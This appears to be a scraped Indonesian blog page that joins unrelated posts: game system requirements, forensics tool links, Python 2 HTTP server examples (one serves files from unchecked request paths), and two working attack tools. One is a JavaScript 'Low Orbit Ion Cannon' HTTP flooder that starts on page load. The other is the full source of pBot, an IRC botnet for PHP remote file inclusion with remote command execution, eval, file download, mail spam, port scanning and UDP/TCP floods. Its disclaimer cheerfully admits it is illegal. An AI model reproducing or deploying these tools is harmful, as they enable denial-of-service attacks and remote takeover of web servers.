Paladins Game FPS Steam Open Beta






SYs requretmennt
MINIMUM:
OS: Windows XP SP2, Windows Vista or Windows 7
Processor: Core 2 Duo 2.4 GHz or Althon X2 2.7 GHz
Memory: 2 GB RAM
Graphics: ATI or Nvidia graphics card with 512MB video ram or better and Shader Model 3.0+ support. (ATI Radeon 3870 or higher, Nvidia GeForce 8800 GT or higher)
Storage: 10 GB available space
Sound Card: DirectX compatible sound card
RECOMMENDED:
OS: 64-bit: Vista, Win 7, Win 8, Win 10
Processor: Intel Core i5-750, 2.67 GHz / AMD Phenom II X4 965, 3.4 GHz
Memory: 4 GB RAM
Graphics: NVIDIA GeForce GTX 560 / AMD Radeon HD 6950 or better with 768 MB+ of VRAM (DirectX 11 Compatible)
Network: Broadband Internet connection
Storage: 10 GB available space
Sound Card: DirectX compatible sound card

http://store.steampowered.com/app/444090/
Baca Lagi »

Kumpulan Software Digital Forensik


Berikut inilah software digital forensik





Caine





http://www.sleuthkit.org/

http://www.x-ways.net/forensics/

http://digital-forensics.sans.org/community/downloads

https://www.guidancesoftware.com/encase-forensic

http://arsenalrecon.com/apps/recon/

http://www.oxygen-forensic.com/en/features

http://digitalcorpora.org/downloads/bulk_extractor/

http://www.xplico.org/about

https://www.mandiant.com/resources/download/redline

https://www.paraben.com/p2-explorer.html

http://www.cellebrite.com/Mobile-Forensics

Baca Lagi »

simple HTTP server Python

Hello world
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer

PORT_NUMBER = 80

#This class will handles any incoming request from
#the browser 
class myHandler(BaseHTTPRequestHandler):
 
 #Handler for the GET requests
 def do_GET(self):
  self.send_response(200)
  self.send_header('Content-type','text/html')
  self.end_headers()
  # Send the html message
  self.wfile.write("Hello World !")
  return

try:
 #Create a web server and define the handler to manage the
 #incoming request
 server = HTTPServer(('', PORT_NUMBER), myHandler)
 print 'Started httpserver on port ' , PORT_NUMBER
 
 #Wait forever for incoming htto requests
 server.serve_forever()

except KeyboardInterrupt:
 print '^C received, shutting down the web server'
 server.socket.close()
 


Serve static files

#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from os import curdir, sep

PORT_NUMBER = 80

#This class will handles any incoming request from
#the browser 
class myHandler(BaseHTTPRequestHandler):
 
 #Handler for the GET requests
 def do_GET(self):
  if self.path=="/":
   self.path="/newfolder/index.html"

  try:
   #Check the file extension required and
   #set the right mime type

   sendReply = False
   if self.path.endswith(".html"):
    mimetype='text/html'
    sendReply = True
   if self.path.endswith(".jpg"):
    mimetype='image/jpg'
    sendReply = True
   if self.path.endswith(".gif"):
    mimetype='image/gif'
    sendReply = True
   if self.path.endswith(".js"):
    mimetype='application/javascript'
    sendReply = True
   if self.path.endswith(".css"):
    mimetype='text/css'
    sendReply = True

   if sendReply == True:
    #Open the static file requested and send it
    f = open(curdir + sep + self.path) 
    self.send_response(200)
    self.send_header('Content-type',mimetype)
    self.end_headers()
    self.wfile.write(f.read())
    f.close()
   return


  except IOError:
   self.send_error(404,'File Not Found: %s' % self.path)

try:
 #Create a web server and define the handler to manage the
 #incoming request
 server = HTTPServer(('', PORT_NUMBER), myHandler)
 print 'Started httpserver on port ' , PORT_NUMBER
 
 #Wait forever for incoming htto requests
 server.serve_forever()

except KeyboardInterrupt:
 print '^C received, shutting down the web server'
 server.socket.close()


Read data from a form
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from os import curdir, sep
import cgi

PORT_NUMBER = 8080

#This class will handles any incoming request from
#the browser 
class myHandler(BaseHTTPRequestHandler):
 
 #Handler for the GET requests
 def do_GET(self):
  if self.path=="/":
   self.path="/newfolder/index.html"

  try:
   #Check the file extension required and
   #set the right mime type

   sendReply = False
   if self.path.endswith(".html"):
    mimetype='text/html'
    sendReply = True
   if self.path.endswith(".jpg"):
    mimetype='image/jpg'
    sendReply = True
   if self.path.endswith(".gif"):
    mimetype='image/gif'
    sendReply = True
   if self.path.endswith(".js"):
    mimetype='application/javascript'
    sendReply = True
   if self.path.endswith(".css"):
    mimetype='text/css'
    sendReply = True

   if sendReply == True:
    #Open the static file requested and send it
    f = open(curdir + sep + self.path) 
    self.send_response(200)
    self.send_header('Content-type',mimetype)
    self.end_headers()
    self.wfile.write(f.read())
    f.close()
   return

  except IOError:
   self.send_error(404,'File Not Found: %s' % self.path)

 #Handler for the POST requests
 def do_POST(self):
  if self.path=="/send":
   form = cgi.FieldStorage(
    fp=self.rfile, 
    headers=self.headers,
    environ={'REQUEST_METHOD':'POST',
                   'CONTENT_TYPE':self.headers['Content-Type'],
   })

   print "Your name is: %s" % form["your_name"].value
   self.send_response(200)
   self.end_headers()
   self.wfile.write("Thanks %s !" % form["your_name"].value)
   return   
   
   
try:
 #Create a web server and define the handler to manage the
 #incoming request
 server = HTTPServer(('', PORT_NUMBER), myHandler)
 print 'Started httpserver on port ' , PORT_NUMBER
 
 #Wait forever for incoming htto requests
 server.serve_forever()

except KeyboardInterrupt:
 print '^C received, shutting down the web server'
 server.socket.close()
Baca Lagi »

Low Orbit Ion Cannon - javascript

Low Orbit Ion Cannon








Attack status

Requested: 0
Accept: 0
Fail: 0





<!DOCTYPE html>
<html>
<head>
<title>Low Orbit Ion Cannon</title>
<meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>/
<body>

<div  style="text-align:center">
<h1>Low Orbit Ion Cannon</h1>
<div class="panel panel-primary">
<div class="panel-heading">
<label>Target URL:</label>
<input id="targetURL" type="text" class="form-control" value="https://www.google.com/" />
</div>
<div class="panel-heading">
<label> Requests per second :</label>
<input id="rps" value="1" type="text" class="form-control"/>
</div>
 <div class="panel-heading">
<label>   Append message :</label>
<input  id="message" value="ZzzZZzzZZ" type="text" class="form-control"/>
</div>  
</div>
  
<div class="panel panel-danger">
<div class="panel-heading">
<h3> Attack status</h3>
</div>
<div class="row">
Requested:  <span id="requestedCtr" style="color:blue">   0</span>
Accept:  <span id="succeededCtr" style="color:green">   0</span>
Fail: <span id="failedCtr"style="color:red">   0</span>
</div>
</div>  

<div>
<button id="fireButton" class="btn btn-danger" >START</button>
</div>
</div>


    <script>
        (function () {
            var fireInterval;
            var isFiring = false;
            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");
            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };
            var requestsHT = {}; // requests hash table, may come in handy later
            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;
            var makeHttpRequest = function () {
                                        if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
                                                return;
                                        };
                                       
                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
                                       
                                        img.setAttribute("src", targetURL + "?" + rID + "=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };
 
            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };
 
            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };
 
            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;
                                       
                                        succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                };
 
            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };
 
            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "START";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";
 
                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
 
        })();
 
isFiring = true;
document.getElementById("fireButton").innerHTML = "Start flooding";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
    </script>


</body>
</html>







Baca Lagi »

pBot by V.S. ~ PHP remote file inclusion vulnerabilities

pBot.php
<?

set_time_limit(0);
error_reporting(0);

class pBot
{
 var $config = array("server"=>"127.0.0.1",
                     "port"=>6667,
                     "pass"=>"",
                     "prefix"=>"pbot|",
                     "maxrand"=>8,
                     "chan"=>"#pbot",
                     "key"=>"",
                     "modes"=>"+iB-x",
                     "password"=>"password",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname
                     );
 var $users = array();
 function start()
 {
    if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
       $this->start();
    $ident = "";
    $alph = range("a","z");
    for($i=0;$i<$this->config['maxrand'];$i++)
       $ident .= $alph[rand(0,25)];
    if(strlen($this->config['pass'])>0)
       $this->send("PASS ".$this->config['pass']);
    $this->send("USER $ident 127.0.0.1 localhost :$ident");
    $this->set_nick();
    $this->main();
 }
 function main()
 {
    while(!feof($this->conn))
    {
       $this->buf = trim(fgets($this->conn,512));
       $cmd = explode(" ",$this->buf);
       if(substr($this->buf,0,6)=="PING :")
       {
          $this->send("PONG :".substr($this->buf,6));
       }
       if(isset($cmd[1]) && $cmd[1] =="001")
       {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);
          $this->join($this->config['chan'],$this->config['key']);
       }
       if(isset($cmd[1]) && $cmd[1]=="433")
       {
          $this->set_nick();
       }
       if($this->buf != $old_buf)
       {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
             switch($cmd[1])
             {
                case "QUIT":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PART":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PRIVMSG":
                   if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "user":
                              if($mcmd[1]==$this->config['password'])
                              {
                                 $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged in");
                                 $this->log_in($host);
                              }
                              else
                              {
                                 $this->privmsg($this->config['chan'],"[\2auth\2]: Incorrect password from $nick");
                              }
                            break;
                         }
                      }
                   }
                   elseif($this->is_logged_in($host))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "restart":
                               $this->send("QUIT :restart");
                               fclose($this->conn);
                               $this->start();
                            break;
                            case "mail": //mail to from subject message
                               if(count($mcmd)>4)
                               {
                                  $header = "From: <".$mcmd[2].">";
                                  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send");
                                  }
                                  else 
                                  {
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mcmd[1]."\2");
                                  }
                               }
                            break;
                            case "dns":
                               if(isset($mcmd[1]))
                               {
                                  $ip = explode(".",$mcmd[1]);
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
                                  }
                               }
                            break;
                            case "info":
                               $this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
                            break;
                            case "cmd":
                               if(isset($mcmd[1]))
                               {
                                  $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                  $this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
                                  $pipe = popen($command,"r");
                                  while(!feof($pipe))
                                  {
                                     $pbuf = trim(fgets($pipe,512));
                                     if($pbuf != NULL)
                                        $this->privmsg($this->config['chan'],"     : $pbuf");
                                  }
                                  pclose($pipe);
                               }
                            break;
                            case "rndnick":
                               $this->set_nick();
                            break;
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1]));
                            break;
                            case "php":
                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
                            case "exec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = shell_exec($command);
                               $ret = explode("\n",$exec);
                               $this->privmsg($this->config['chan'],"[\2exec\2]: $command");
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;
                            case "pscan": // .pscan 127.0.0.1 6667
                               if(count($mcmd) > 2)
                               {
                                  if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
                                     $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
                                  else
                                     $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
                               }
                            break;
                            case "ud.server": // .udserver <server> <port> [password]
                               if(count($mcmd)>2)
                               {
                                  $this->config['server'] = $mcmd[1];
                                  $this->config['port'] = $mcmd[2];
                                  if(isset($mcmcd[3]))
                                  {
                                   $this->config['pass'] = $mcmd[3];
                                   $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]);
                                  }
                               }
                            break;
                            case "download":
                               if(count($mcmd) > 2)
                               {
                                  if(!$fp = fopen($mcmd[2],"w"))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2download\2]: Cannot download, permission denied.");
                                  }
                                  else
                                  {
                                     if(!$get = file($mcmd[1]))
                                     {
                                        $this->privmsg($this->config['chan'],"[\2download\2]: Unable to download from \2".$mcmd[1]."\2");
                                     }
                                     else
                                     {
                                        for($i=0;$i<=count($get);$i++)
                                        {
                                           fwrite($fp,$get[$i]);
                                        }
                                        $this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
                                     }
                                     fclose($fp);
                                  }
                               }
                            break;
                            case "die":
                               $this->send("QUIT :die command from $nick");
                               fclose($this->conn);
                               exit;
                            case "logout":
                               $this->log_out($host);
                               $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged out");
                            break;
                            case "udpflood":
                               if(count($mcmd)>4)
                               {
                                  $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
                               }
                            break;
                            case "tcpflood":
                               if(count($mcmd)>5)
                               {
                                  $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
                               }
                            break;
                         }
                      }
                   }
                break;
             }
          }
       }
       $old_buf = $this->buf;
    }
    $this->start();
 }
 function send($msg)
 {
    fwrite($this->conn,"$msg\r\n");
 }
 function join($chan,$key=NULL)
 {
    $this->send("JOIN $chan $key");
 }
 function privmsg($to,$msg)
 {
    $this->send("PRIVMSG $to :$msg");
 }
 function is_logged_in($host)
 {
    if(isset($this->users[$host]))
       return 1;
    else
       return 0;
 }
 function log_in($host)
 {
    $this->users[$host] = true;
 }
 function log_out($host)
 {
    unset($this->users[$host]);
 }
 function set_nick()
 {
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
          $this->nick = "[A]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
          $this->nick = "[I]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
          $this->nick = "[X]";
       else
          $this->nick = "[U]";
    }
    else
    {
       $this->nick = "[C]";
    }
    $this->nick .= $this->config['prefix'];
    for($i=0;$i<$this->config['maxrand'];$i++)
       $this->nick .= mt_rand(0,9);
    $this->send("NICK ".$this->nick);
 }
 function udpflood($host,$packets,$packetsize,$delay)
 {
    $this->privmsg($this->config['chan'],"[\2udpflood\2]: Sending $packets packets to $host. Packet size: $packetsize");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
       $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
       if(!$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5))
       {
          $this->privmsg($this->config['chan'],"[\2udpflood\2]: Error: <$e>");
          return 0;
       }
       else
       {
          fwrite($fp,$packet);
          fclose($fp);
       }
       sleep($delay);
    }
    $this->privmsg($this->config['chan'],"[\2udpflood\2]: Finished sending $packets packets to $host.");
 }
 function tcpflood($host,$packets,$packetsize,$port,$delay)
 {
    $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Sending $packets packets to $host:$port. Packet size: $packetsize");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
       $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
       if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
       {
          $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Error: <$e>");
          return 0;
       }
       else
       {
          fwrite($fp,$packet);
          fclose($fp);
       }
       sleep($delay);
    }
    $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Finished sending $packets packets to $host:$port.");
 }
}

$bot = new pBot;
$bot->start();

?>

##======================================================================##
# pBot ~ A bot for exploiting PHP remote file inclusion vulnerabilities  #
# by V.S.                                                                #
##======================================================================##


= COMMANDS ============================================================================
 .user <password>                                              //login to the bot
 .logout                                                       //logout of the bot
 .die                                                          //kill the bot
 .restart                                                      //restart the bot
 .mail <to> <from> <subject> <msg>                             //send an email
 .dns <IP|HOST>                                                //dns lookup
 .download <URL> <filename>                                    //download a file
 .exec <cmd>  // uses shell_exec()                             //execute a command
 .cmd <cmd> // uses popen()                                    //execute a command
 .info                                                         //get system information
 .php <php code> // uses eval()                                //execute php code
 .tcpflood <target> <packets> <packetsize> <port> <delay>      //tcpflood attack
 .udpflood <target> <packets> <packetsize> <delay>             //udpflood attack
 .raw <cmd>                                                    //raw IRC command
 .rndnick                                                      //change nickname
 .pscan <host> <port>                                          //port scan
 .ud.server <newhost> <newport> [newpass]                      //change IRC server
---------------------------------------------------------------------------------------

 
= LICENCE ===========================================================
 Do whatever the fuck you want with this, legitimate or not. Modify
 it, rewrite it, rename it, I honestly don't give a crap. Just don't
 bother me if you fuck it up.
---------------------------------------------------------------------


= DISCLAIMER ========================================================
 This type of application is illegal, but go nuts. What do I care?
---------------------------------------------------------------------
Baca Lagi »